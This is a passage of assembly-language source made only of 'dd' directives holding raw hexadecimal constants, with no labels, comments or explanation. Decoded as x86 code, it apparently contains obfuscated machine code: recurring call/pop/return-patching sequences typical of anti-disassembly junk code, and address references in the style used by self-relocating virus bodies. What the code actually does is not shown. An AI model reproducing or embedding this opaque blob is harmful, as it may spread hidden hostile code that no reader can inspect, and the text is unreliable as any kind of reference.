0FFBBF0Fh, 6AD8BFh, 9D89DF8Bh dd 6140311h, 17D21B68h, 2E24BBE0h, 481074Ch, 731E424h dd 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 181D6DE3h, 32EA9240h, 0BD8B5161h, 6140575h dd 0BC9BD8Bh, 95FF0614h, 61409ADh, 81D9BF0Fh, 0A29BE7E7h dd 98858965h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 2D2AC351h, 0CBF38166h dd 59BD8BBBh, 0E9061429h, 231h, 13E85660h, 0A0000000h dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 5B5ABEC1h dd 0A9E88166h, 858B61DDh, 617AA90h, 6840Fh, 9D890000h dd 6142955h, 0EF18501h, 0C70614h, 18h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 44C35545h, 2BC52750h, 0DA8B9699h dd 0AA94B58Bh, 95090617h, 61431D9h, 0B29858Bh, 6A0614h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0EE78DEC3h, 0D15BD8Bh, 6890614h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 1AC35646h, 2CDB19BBh, 69858B4Bh dd 6A061419h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 66C2C355h, 8878A87Dh, 55CE827Eh dd 6A044689h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 426FC352h, 0BF0F89AEh, 0AE9FBh dd 74B40000h, 699149EDh, 2E687471h, 50DA8B96h, 31BF6696h dd 90B5FF59h, 890617AAh, 1408ED95h, 5BD8B06h, 0E806140Fh dd 4, 1F03FFh, 50DE8B66h, 424448Bh, 5250008Bh, 3880Fh dd 8B660000h, 52310FD9h, 89585A5Bh, 58042444h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B8C35343h, 4820Fh dd 0BF660000h, 858DF856h, 617AA98h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 0F4C35040h, 8968B5F0h, 0E0E82D3Fh dd 7AA8BB66h, 0E9525050h, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h dd 310F3F2Dh, 13E8h, 184C2100h, 652179h, 77106531h, 0E7F71204h dd 3B3254D8h, 5A5F5B51h, 24048958h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0C1C35646h, 26DF8166h, 188E0F50h dd 0E8000000h, 0Dh, 0F5D83EC6h, 458A0A8h, 0A8AE93DDh, 4F09BB73h dd 0FF5B5C0Bh, 1409AD95h, 85C76106h, 6142671h, 3, 7BEB8166h dd 98BD8356h, 617AAh, 56840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD3197C3h dd 6140791h, 4AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD8B20E8h, 61430F5h dd 0EABB6652h, 0BD895FC4h, 614321Dh, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0DAADC357h, 0C2891519h, 9D8BC886h, 6140385h, 0C860Fh dd 8C0F0000h, 6, 0A2A6DF81h, 0BD834102h, 6142671h, 10850F03h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0E995C357h, 5221432Fh, 0B959D8Bh dd 835F0614h, 17AA98BDh, 840F0006h, 3DBh, 789B531h, 0B5FF0614h dd 617AA98h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0A3C35242h, 51DC005Ah, 4F1B4D5Dh, 0F595FF29h, 8006142Ah dd 0B58BB5C7h, 617AA8Ch, 4AD9D29h, 6C70614h, 10001h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 42C35343h, 8B5096AEh dd 0B7505FD8h, 6A960Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0D6D79FC3h, 0F8B70F60h, 1850Fh dd 61FC0000h, 0AA98B5FFh, 6E90617h, 4C000000h, 0D204B7B8h dd 3195FF0Dh, 8906140Bh, 140CB9BDh, 8CB58B06h, 0F0617AAh dd 28Ah, 8BD3B700h, 1421D585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 1BE959AFh dd 0F31B5ABh, 481h, 8CBF6600h, 0C4868964h, 89000000h, 1409E99Dh dd 29958B06h, 6A061432h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 2F3C351h, 8BE3EFA3h dd 0C283F8FAh dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BF66F812h, 5089678Dh, 0A98D8920h, 50061414h dd 16CB8166h, 858D5B41h, 617BE06h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 9DC35040h, 8A1779C6h, 0C55C7E3Ah dd 0E1EF8150h, 5F7F14B0h, 0B88689h, 0BD890000h, 6142449h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 8AB78EC3h, 0B06E30DAh, 0FE8B66F5h, 0AA98B5FFh dd 8D290617h, 6140849h, 8DDB589h, 95FF0614h, 6140939h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 83C35545h dd 42FA809Fh, 9607218Bh, 0EE960h, 0A3050000h, 3C4F0898h dd 0D0196F50h, 4452B355h, 7E957h, 0D3D70000h, 7ADFAE80h dd 50615948h, 0EE9h, 201B1000h, 385111C3h, 3FAE2010h, 96FC30B8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 74C35141h dd 547E02C4h, 371B55C8h, 698589C0h, 0FF06142Dh, 17AA98B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0FA8B6621h, 20F595FFh, 0BE90614h, 0CB000000h dd 0A0F0D982h, 2348AB90h, 0BD830DFFh, 6140C21h, 78840F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 6456C353h, 0B92CC42Eh, 0A8FB0F25h dd 1DA19D8Bh, 50960614h, 9E852h, 0DC100000h, 5291B0C1h dd 0E9A1D80Ah, 8, 0AE3508AEh, 1188B17Ah, 0E8310F5Bh, 12h dd 78947DFAh, 9C671254h, 77DB67E7h, 16C32F69h, 0E3BB9733h dd 5F59458Fh, 0BF50585Ah, 74ED0EE0h, 0E9BD8B96h, 0FF061419h dd 17AA98B5h, 0FF5F5306h, 1402B195h, 0DBD8B06h, 6606140Fh dd 0FF52B0BFh, 17AA98B5h, 0DF816606h, 95FFD55Ch, 6143081h dd 2ED19D8Bh, 0BD830614h, 61409F5h, 55840F02h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0E55DC352h, 5559D8Bh, 858B0614h, 6142D01h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7CC35242h dd 959D894Bh, 0C6061404h, 85310000h, 6142AC1h, 244D85C7h dd 614h, 0DE80000h, 1D000000h, 0F8A325E5h, 30F4982Fh, 504C078h dd 10EDBD8Bh, 0E95F0614h, 0FFFFF3AFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0CDC35242h, 0E3078900h, 5D8589BBh dd 60061434h, 2FADB58Bh, 0EF810614h, 5096908Eh, 6AC18B61h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0BF3C353h, 1299DFE3h, 34D5BD89h, 858D0614h dd 6140F99h, 1D75BD8Bh, 66900614h, 5086ECBBh, 0F41B160h dd 48Dh, 0D8B86600h, 8B906195h, 6A006AFEh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 3912C350h dd 2B7DFB62h, 9DBF6671h, 6A006AA3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 78D3C357h dd 0D88BEF0Dh, 858D44B7h, 618FED5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0A6C35343h, 0C4C2E751h, 0FE940h dd 92640000h, 0AC85F146h, 0EBC85ADBh, 3050D749h, 5C08344h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 93C35646h dd 0D381F613h, 7751DA8h, 462EA2BFh, 0F8BB5004h, 8938CE92h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0AEE76DC3h, 0EEEFB854h, 89781EABh, 141605B5h dd 55BD8906h, 6A061405h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 9F714218h, 0CF3F5BEEh dd 62D78166h, 6A006A8Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0CF6BC352h, 927C437h dd 0FF7780D2h, 141A7195h, 61950906h, 8D06142Eh, 17A8FC8Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 39B8B6Ch, 8B44D694h, 1414D1BDh, 6AD1FF06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 9DD5C351h, 1B658531h, 0BD830614h, 61412CDh dd 95850F01h, 0BF000000h, 416ECE56h, 8B60026Ah, 140869BDh dd 0F7815706h, 5D572436h, 0E8906159h, 9, 38AEA3B3h, 67F3B147h dd 5BF98B97h, 6E850h, 90B90000h, 0B2F4022Ah, 0DE8h, 5E8D7600h dd 0E771BA81h, 3EC211A2h, 5F5FE0BCh, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 3995FF8Bh dd 6A061409h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0CB6EC352h, 0E4B90DCAh, 0BD29F005h dd 6141D29h, 0CE4E9h, 0E800h, 815D0000h, 18FEDFEDh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 55F9DB3h, 1DFC1899h, 0C9BD0951h, 6A061409h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 49D3C351h, 8D475F0Fh, 17962385h, 9E906h, 55650000h dd 97D80076h, 509AE530h, 0D3EBBB66h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 49ADC353h, 6427C051h, 35FFh, 0BD890000h, 61402F1h, 258964h dd 9000000h, 1402F1BDh, 0F98B6606h, 236D85FFh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 50D0AEC3h, 900DABD3h, 0E95E2E5Eh, 6, 924D0AA9h, 0FF6AFAF5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 33C35545h dd 0B5FFB98Dh, 614220Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0E4C35141h, 0F8B25D74h, 0C9F42F84h, 80C0BF66h dd 2B1995FFh, 42E90614h, 0F000001h, 0B0DEB7h, 70E6FA8Ah dd 0E487EB80h, 0D1858971h, 906140Bh, 14347D8Dh, 0F613C06h dd 12083h, 0FD98B00h, 12E8C8B6h, 17000000h, 0E9BE788Eh dd 0B409F102h, 78708398h, 0E7DE9D80h, 5B95B7C9h, 6BAh dd 0B9526000h, 5AD520BBh, 0C18B615Fh, 5A19D89h, 8D0F0614h dd 0 dd 0F04E8C1h, 389h, 99F78000h, 81E2F766h, 8E6777E7h, 7D9D8B39h dd 2B061410h, 0FB8B66C8h, 0E8B7D18Bh, 192D9D8Bh, 0B6E90614h dd 2B000000h, 141B799Dh, 118A0F06h, 0F000000h, 0B8Bh, 6E900h dd 2B240000h, 0B0E0F81Eh, 4C50858Bh, 0BD8B4755h, 6141B9Dh dd 6007C083h, 68C0Fh, 8C0F0000h, 0 dd 2830Fh, 0FC8A0000h, 0C08361h, 0AE9h, 4AF1C500h, 688C385Dh dd 8BD8E3F6h, 141C3DBDh, 0FD03B06h, 0E83h, 0D99D8B00h dd 0E9061415h, 49h, 8BDE8B66h, 0FFFFFF8Dh, 0FEBF0FFFh dd 0F01E183h, 3484h, 0FFA58300h, 0FEFFFFFFh, 6810F57h dd 2B000000h, 141C99BDh, 95895F06h, 47554C50h, 6890F60h dd 89000000h, 1406598Dh, 3EE68106h, 61094341h, 0E9h, 82B58D00h dd 6A06187Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0CE7FC356h, 0B85BD8Bh, 6A0614h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 9BC35141h dd 95FF01C0h, 6141169h, 13859D8Bh, 8D890614h, 6140BB5h dd 0FDDB9h, 8E900h, 96E80000h, 81FDF7C8h, 0E18397DFh, 53006AFCh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 9775BF27h, 8D89643Dh, 61400B5h, 0B8F88BFCh, 0 dd 0EE1BD23h, 0BA0614h, 8B000000h, 14112DBDh, 8E906h, 7CA40000h dd 3DC2B63Eh, 33ADDD73h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 3FDE65C3h, 863A02E8h, 56006AF0h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8BA2E8DFh, 141495BDh dd 880D06h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0E824A0C3h, 5CD9D8Bh, 958B0614h dd 6143229h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 18C35242h, 0F215A2Ah, 38Ah, 0DF8B6600h, 21A98D89h dd 8D8B0614h, 614064Dh, 12C18529h, 8B500614h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 3F5ABABBh, 0ADBD8356h dd 61429h, 53840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0F224B2C3h, 0E8BA7AA1h dd 13h, 2AD2FB09h, 0ABFEE5CCh, 3F3AD4Eh, 0BDDD566Ch, 665F6A46h dd 5B02CABFh, 0B8h, 8D1AB300h, 144D798Dh, 0D9858906h, 0FF061421h dd 71BD83E1h, 61426h, 39F840Fh, 8D890000h, 6142C99h, 485CC8BFh dd 71BD830Ch, 1061426h, 3A2840Fh, 95890000h, 6141AA9h dd 2671BD83h, 0F030614h, 35986h, 0E8605700h, 9, 23F7845h dd 253057F7h, 5A505A40h, 0BF605F61h, 186FA47Ch, 8BD98C66h dd 142121BDh, 4E18006h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0C6C35343h, 408E2FBEh, 0BD093DE8h, 6141AC5h dd 840FC90Ah, 128h, 1995BD2Bh, 858B0614h, 6141969h, 2B759589h dd 85330614h, 6141B81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0D1C35545h, 0BD897B2Fh, 6140E59h, 89FE8B50h dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0ECD13BC3h, 0CE9F46Eh, 3D000000h, 3C1F26h dd 5688406Eh, 0F0FEAC1h, 686h, 0CDBD0B00h, 6A061421h, 68E0F00h dd 81000000h, 7935C5F7h, 6B5E6809h, 8B661BB6h, 243481DAh dd 1BA968A1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0DEC35646h, 7D2A0D75h, 0AD95FFC4h, 6A061409h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 3679C355h, 6608E914h, 3F512E1Bh, 5B5F5753h, 0AA988589h dd 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0C163A3C3h, 113154EDh, 0E9F38166h, 86E9F90Fh dd 8B000001h, 1410A5BDh, 0BD38006h, 0AA90858Bh, 880F0617h dd 6, 4525F781h, 0C7551Bh, 18h, 1DDBD89h, 0B58B0614h, 617AA94h dd 1D099D8Bh, 0BF0F0614h, 29858BFAh, 6A06140Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 9C29C352h, 77E13E01h, 66D2949Fh, 0B589F98Bh, 6142EB5h dd 8B660689h, 69858BFEh, 0BF061419h, 1F3CA8Ch, 6A044689h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 9A56C353h, 0C5B3E09Dh, 0E03CBF96h, 66502B81h dd 2396F88Bh, 14224DBDh, 0F9B70F06h, 0AA90B5FFh, 6A0617h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 4B75E4C3h, 29F517DAh, 140F1985h, 0D28D6806h, 34813B2Ah dd 35D17224h, 52006A3Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 57E11EF2h, 0C80E45EAh, 8589065Fh dd 6142171h, 49571FBFh, 98858D55h, 6A0617AAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 5032C356h, 89F98B66h, 8B662404h, 0AD95FFF8h, 6A061409h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 97A5C352h, 0FD928577h, 5850F52h, 0BF000000h dd 7F80A4E4h, 0BB66605Bh, 9D89CE54h, 61402ADh, 9D0B6161h dd 6140471h, 2F19BD8Bh, 85C70614h, 6142671h, 3, 7801E781h dd 0BD831195h, 617AA98h, 33840F00h, 89000000h, 1423B1BDh dd 43E906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 965822C3h, 38C0F78h, 80000000h dd 305032F3h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0AB1EDC57h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0D6C35141h, 0BD83FE8Ah, 6142671h dd 0EF850F03h, 0BF000003h, 27E213B1h, 0AA98BD83h, 0F000617h dd 3DD84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 178C0F18h, 0E9000000h, 12h, 118D7B58h dd 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 0B5FF95C3h, 617AA98h dd 0E299D23h, 95FF0614h, 6142AF5h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 2DC35343h, 79B5896Ch, 8B061416h dd 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 20C59AAEh, 43C04Dh, 0BB66496Fh, 95895462h dd 6140369h, 106C7h, 0F960001h, 888h, 2860F00h, 50000000h dd 6696505Fh, 0FF8E9ABBh, 17AA98B5h, 0C1BB6606h, 3195FF87h dd 6A06140Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0BCC7C351h, 0B3DCADBh, 0CBDF4545h dd 0AA8CB58Bh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F77ABC3h, 0E88h, 0B58B6000h, 61403C5h dd 25659D09h, 8B610614h, 1421D585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 863CE51Ah dd 5DCF7112h, 8E9112Bh, 0D7000000h, 53219F2Ah, 89BA4B15h dd 0C486h, 0CD9D8B00h, 8B061415h, 14322995h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0F823B354h, 83DBB70Fh, 0BF0F04C2h, 205089FBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D7C35242h, 6F989057h dd 0B70F1791h, 7DA5BFDAh, 858D6EC6h, 617BE06h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 16C35242h, 0F1DE1F38h dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 29BDBEC3h, 1FB59D8Bh, 6A0614h, 0AA98B5FFh dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 5940A5C3h, 3F5443F4h, 0FFF8F94Eh, 14093995h dd 96F88A06h, 245357BBh, 5250503Fh, 310F5250h, 310F585Ah dd 585AF98Bh, 79BD8996h, 0FF06140Eh, 17AA98B5h dd 0F99D8B06h, 0FF061431h, 1420F595h, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0F5047864h, 0C21BD83h, 0F000614h, 4284h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 7C6623A1h, 0D7640560h, 1549BD8Bh, 8B660614h, 7E950DAh dd 3D000000h, 0E778DD73h, 34898F73h, 0C99D8B24h, 0FF061402h dd 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0F8D7217Bh, 0FC8AE73h, 81h, 0B195FF00h dd 6A061402h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 9DBDC357h, 35A3C79h, 899D8BC5h dd 0FF061424h, 17AA98B5h, 0D9BF0F06h, 68A0Fh, 85890000h dd 61412C9h, 308195FFh, 81660614h, 83901CCFh, 1409F5BDh dd 840F0206h, 3Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0ACC35343h, 860064E0h, 18D9BD09h, 858B0614h dd 6142D01h, 0C60AB7h, 8E900h, 2EB20000h, 8496AC0Ah, 85C7953Dh dd 614244Dh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 36C35040h dd 81BD8Bh, 53E90614h, 6AFFFFF4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3343C356h dd 1242AB92h, 4EDE12B5h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0E5F8C9C3h, 0AFA4E4D2h dd 8161B145h, 0DE7809F3h, 99858D1Dh, 0BF06140Fh, 4110153h dd 68B0F90h, 60000000h, 0D78BD88Ah, 8E0F5061h, 0 dd 4CE38190h, 336BBFB4h, 1400FD9Dh, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 2355C355h, 2F66D47Ah, 6A237BC6h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9F51B23h, 0A22EDA90h dd 0B19D8BD2h, 8D061431h, 190DA285h, 8DB50106h, 8306142Eh dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0B7F086C3h, 2840F90h, 0B3000000h, 0BB6650BDh dd 390E52Dh, 1409DDBDh, 89006A06h, 142A158Dh, 6A006A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8BDEC352h, 140E55BDh, 21958906h, 0FF06141Bh dd 141A7195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0FC8D8DD0h, 6A0617A8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0DC32C352h, 25694DEBh, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 3A5480C3h, 42FB1998h dd 3335D1C2h, 1406519Dh, 0CDBD8306h, 1061412h, 6F850Fh dd 0C7800000h, 6A026A23h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0B81AC357h, 667BD445h dd 5025D381h, 89FE8B66h, 14246D8Dh, 0BF509006h, 3ECB2E6h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 2B45C976h, 6682A419h, 0FF6080BFh, 14093995h dd 0C7815306h, 130B3C9Eh, 0D35E95Fh, 0E80000h, 5D000000h dd 0DACED81h, 0BD8B0619h, 6140611h, 0B8A0Fh, 6E90000h dd 0B5000000h, 6BCFEFFFh, 23858DC0h, 0E9061796h, 7, 20FED821h dd 506B708Ch, 489D98Bh, 0CE924h, 6A8A0000h, 9047214Bh dd 1F8F5A8h, 95898042h, 6141D3Dh, 35FF64h, 0F000000h, 8964F9B7h dd 25h, 919D8B00h, 0FF061419h, 14236D85h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 17C8EF3h, 142B81BDh, 0DDBD8B06h, 89061408h, 1422918Dh dd 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0CEBC355h, 0D2B14483h, 23E59D89h dd 0D7800614h, 0D5B5FFABh, 6A061400h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 7658C350h dd 0E9A9C64Dh, 10h, 0DAE26930h, 0E9B68718h, 0A5E073CAh dd 0C5B557A2h, 2B1995FFh, 28E90614h, 60000001h, 0A4E08166h dd 61C18AE8h, 9D3100B0h, 61412D9h, 7C3D29BBh, 0E970E61Ch dd 9, 0C7902C4Dh, 424814C7h, 0F71E4C1h, 68Eh, 0D59D0300h dd 3C061410h, 0EC830F61h, 60000000h, 3845B966h, 14E19D89h dd 0F610614h, 0E957C8B6h, 5, 0AB01F36Bh, 6BA5F8Bh, 89000000h dd 14258595h, 81C18B06h, 0E6958FC3h, 4E8C16Eh, 0FE2F766h dd 28Ah, 2BFB8B00h, 0F88B66C8h, 1B4DDB81h, 0D18B7361h dd 0C08160h, 0E811FDAAh, 9, 0F641BDE6h, 0C9170E1Ah, 55852914h dd 5E06142Eh, 81E961h, 0FE8A0000h, 4E49858Bh, 0BD034400h dd 61403E1h, 8307C083h, 0F9BB00C0h, 3B235EE9h, 0E830FD0h dd 23000000h, 1405A5BDh, 55E906h, 8B660000h, 0FF8D8BDFh dd 29FFFFFFh, 142AF1B5h, 1E18306h, 3D840Fh, 0DE90000h dd 0C000000h, 0E4661B1Eh, 6D5D31E8h, 0B854AEE7h, 79EB8166h dd 0FFA58363h, 0FEFFFFFFh, 0D9D8BF8h, 89061420h, 4E4995h dd 85BE6044h, 89644048h, 141D6195h, 0E96106h, 8D000000h dd 188C5FB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0F27C38ADh, 6AF98Bh, 909BD29h, 0FD8A0614h dd 116995FFh, 0BE80614h, 0C0000000h, 0D424BC62h, 16BB1478h dd 5BFC81FBh, 0ED4B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0FA0140BDh, 0F7D471C9h dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0F9FCC356h, 0FC59F6Eh, 0B8Bh dd 6E900h, 7B2F0000h, 0D37CA7DAh, 819D89FCh, 2B06140Ch dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 623013Bh, 49858959h, 2B06142Ch, 1DB589D2h dd 6006142Bh, 631BD8Bh, 4CBB0614h, 613B56A6h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0DE30BF66h, 2561B529h, 880D0614h dd 66000000h, 8BD3A3BBh, 14322995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F4EB7E2h dd 8D8BFBB7h, 614064Dh, 2B05BD8Bh, 8B500614h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 81C35141h, 499D8B27h, 0F061404h dd 0BD83FEBFh, 61429ADh, 5C840F00h, 8B000000h, 1421299Dh dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 6E55ADC3h, 65B31643h, 935B589h dd 0DF8B0614h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 0FF3BF9C3h, 83D7B7E1h dd 142671BDh, 840F0006h, 41Fh, 302D9D8Bh, 0BD830614h, 6142671h dd 27840F01h, 0F000004h, 0BD83FFB7h, 6142671h, 0E1860F03h dd 8B000003h, 8C6660DFh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 